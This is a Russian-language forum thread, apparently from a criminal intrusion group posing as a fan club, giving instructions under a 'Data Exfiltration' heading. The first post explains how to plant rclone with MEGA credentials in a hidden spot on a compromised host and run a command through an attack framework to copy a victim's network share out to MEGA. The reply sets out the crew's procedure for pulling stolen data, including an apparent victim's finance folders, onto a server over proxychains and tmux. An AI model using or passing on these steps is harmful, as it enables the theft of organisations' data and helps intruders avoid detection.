

    Vampir
    Новые темы
    Новые ответы

    Начало
    Помощь
    Поиск
    Профиль
    Личные сообщения
    Пользователи

Monica Bellucci Fan Club

    Monica Bellucci Fan Club »
    Kill Chain »
    Data Exfiltration »
    Rclone

Rclone
Alter · 2 · 46
« предыдущая тема следующая тема »

Страницы: 1
Alter

    Administrator
    Member
    *****
        28
        Просмотр профиля Личное сообщение (Оффлайн) 

: Февраля 05, 2021, 11:30:36 am
Записан

1. качаем саму прогу (выложена в general), создаем файлик rclone.conf и кладем его в одну папку с exe
2. далее открываем кмд от админа, проваливаемся в папку, где лежит прога с файлом конфигурации и выполняем команду: rclone config
3. далее вылезает меню в котором мы создаем конфиг (грубо говоря вкатываем креды меги), после того, как креды вкатали, программка записывает их в файлик rclone.conf, в зашифрованном виде.
4. берем полученный файлик rclone.conf и саму прогу и кладем на хост, с которого собираемся тянуть инфу, класть разумеется лучше в укромное место
5. проваливаемся в кобе в папку куда положили конфиг и прогу и выполняем команду:

shell rclone.exe copy "\\trucamtldc01\E$\Data" remote:Data -q --ignore-existing --auto-confirm --multi-thread-streams 12 --transfers 12

ну, тут думаю понятно, то что в кавычках - это то, что выкачиваем, можем указывать как угодно, хоть весь диск
remote - название конфига, которое мы указали при выполнении пункта 3, data - папка в меге, куда выгружается инфа

credits go to @brandon
« Последнее редактирование: Февраля 11, 2021, 02:12:19 am от Alter »

giovanni

    Users
    Member
    *
        2
        Просмотр профиля E-mail Личное сообщение (Оффлайн) 

Ответ #1 : Февраля 18, 2021, 05:10:33 pm
Записан

Регламент залива данных на дед с помощью Rclone
Процесс построен по следующему принципу.
Для всех пользователей используется единый файл конфигурации Rclone, который лежит в /var/www/rclone.conf.
В нём собираются все remote, откуда выкачиваем данные.
Выкачиваем только с наших ВПСок, либо с других удалённых хранилищ типа меги. Никогда не выкачиваем напрямую с целей.
Каждый подключается по SSH под своей учёткой, конфигурирует remote (если он ещё не сконфигурирован), создаёт новую tmux сессию, запускает процесс копирования.

Подключаемся по SSH
Код: [Выделить]

proxychains4 ssh USER@IP

При первом подключении будет запрос на добавление Fingerprint, вводим «yes».
USER - имя вашего пользователя, например looper.
IP - ИП адрес деда.
Дальше вводим пароль.

Добавляем новый remote
Код: [Выделить]

rclone --config /var/www/rclone.conf config

Сперва смотрим, возможно remote уже был добавлен кем-то другим.
Конфигурируем на примере ВПСки с SFTP.
Выбираем «n) New remote», вводим «n».
В качестве имени указываем продуманное название, указывая чья ВПСка и два крайних числа ИП адреса без точки, например, rz16696.
Если качаем с меги, то имя указываем mega-EMAIL.
EMAIL - мыло, на которое зареган аккаунт меги, часть до «@».
Далее указываем тип Storage, например sftp.
Далее указываем host, т.е. ИП адрес откуда будем выкачивать.
Далее указываем user, имя пользователя на Storage от которого будем выкачивать, например root.
Далее указываем port, обычно это стандартный для SFTP порт подключения SSH, т.е. 22, он выбран стандартно, можно просто нажать ENTER.
Следующим шагом пароль, выбираем «y) Yes type in my own password», введя «y», вводим пароль от Storage пользователя, затем вводим ещё раз подтверждая его.
Следующие значения для более гибкой конфигурации, которая не требуется на данном этапе, поэтом просто нажимаем ENTER на них: key_pem, key_file.
Далее выбираем «n) No leave this optional password blank (default)», введя «n», либо просто жмём ENTER.
Далее для pubkey_file, key_use_agent, use_insecure_cipher, disable_hashcheck так же оставляем стандартное значение, просто нажимаем ENTER.
В стандартных ситуация нам не нужно редактировать Advanced config, поэтому выбираем «n) No (default)», вводим «n», либо просто жмём ENTER.
Смотрим результат конфигурации, если всё в порядке, то выбираем «y) Yes this is OK (default)», введя «y», либо просто нажав ENTER.
Выходим из конфигуратора выбрав «q) Quit config», вводим «q», нажимаем ENTER.

Проверяем созданный remote
Опциональный шаг, что бы убедиться, что remote добавлен правильно.
Код: [Выделить]

rclone --config /var/www/rclone.conf ls REMOTE:BUCKET

REMOTE - имя remote, например rz16696.
BUCKET - путь до файлов на remote, например /home/filterek.

Создаём tmux сессию
Код: [Выделить]

tmux new -s NAME

NAME - имя сессии, называем по следующему принципу. Название кейса (домен без доменной зоны, т.е. часть до точки), дальше нижнее подчёркивание _, какая процедура (в нашем случае copy), нижнее подчёркивание _, название remote (например rz16696). Итоговый пример: filterek_copy_rz16696.

Запускаем копирование
Код: [Выделить]

rclone --config /var/www/rclone.conf -P copy REMOTE:BUCKET PATH -q --ignore-existing  --auto-confirm

REMOTE - имя remote, например rz16696.
BUCKET - путь до файлов на remote, например /home/filterek.
PATH - путь, куда копировать на деде. Каждый пользователь имеет свою папку, которая находится в /var/www/USER_NAME/data, где USER_NAME - имя вашего пользователя. В эту папку копируем по следующему принципу. Сперва имя кейса как в рокете (домен с доменной зоной), например filterek.com, потом имя тачки, с которой были выкачены данные, например ADMS-FILE, дальше папки как они идут структурно на тачке, с которой качаем. Итоговый пример: /var/www/looper/data/filterek.com/ADMS-FILE/Finance.
После запуска Rclone дожидаемся пока он обсчитает все файлы и начнёт отображать процесс загрузки.

Отключаемся от tmux сессии
Нажимаем сочетание CTRL + B, после этого D.

Отключаемся от SSH
Отключаемся от ssh сочетанием CTRL + D.

Проверяем состояние скачивания
Подключаемся по ssh.
Код: [Выделить]

tmux ls

Видим список tmux сессий.

Подключаемся к tmux сессии.
Код: [Выделить]

tmux a -t NAME

NAME - имя tmux сессии, например filterek_copy_rz16696.
Видим процесс скачивания.

После завершения процесса скачивания
По завершению процесса скачивания убиваем tmux сессию.
Код: [Выделить]

tmux kill-session -t NAME

NAME - имя tmux сессии, например filterek_copy_rz16696.

Набор подсказок tmux
https://gist.github.com/MohamedAlaa/2961058

Краткие основы SFTP
Для общего ознакомления.
https://www.digitalocean.com/community/tutorials/sftp-ru

Страницы: 1

    Monica Bellucci Fan Club »
    Kill Chain »
    Data Exfiltration »
    Rclone

Перейти в:
 
+ Быстрый ответ

    SMF 2.0.18 | SMF © 2020, Simple Machines
    Разработанно с от SychO


